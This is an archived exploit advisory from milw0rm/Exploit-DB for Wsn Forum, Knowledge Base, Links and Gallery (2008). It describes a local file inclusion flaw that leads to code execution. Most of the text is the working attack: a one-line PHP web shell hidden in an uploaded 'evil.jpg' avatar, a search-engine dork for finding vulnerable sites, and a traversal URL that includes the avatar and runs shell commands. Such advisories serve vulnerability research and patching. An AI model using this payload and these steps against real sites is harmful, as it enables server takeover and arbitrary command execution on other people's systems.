Wsn (Multiple Products) - Local File Inclusion / Code Execution

EDB-ID:

6208


Platform:

PHP

Published:

2008-08-06

Author: otmorozok428, http://forum.antichat.ru 

Products: Wsn Forum <= 4.1.43, Wsn Knowledge Base <= 4.1.36, Wsn Links <= 4.1.44, Wsn Gallery <= 4.1.30

Vendor: http://www.webmastersite.net

Googling: inurl:memberlist.php?action=profile

Code Execution Vulnerability: 

Avatar evil.jpg source: <? system($_GET['cmd']); ?>

Enter to upload: http://www.site.com/forum/profile.php?action=editprofile&id=[Your User ID]

See the avatar name at your profile.

Upload evil avatar and go to: index.php?custom=yes&TID=../../attachments/avatars/[Avatar Name]&ext=jpg&cmd=ls -al

# milw0rm.com [2008-08-06]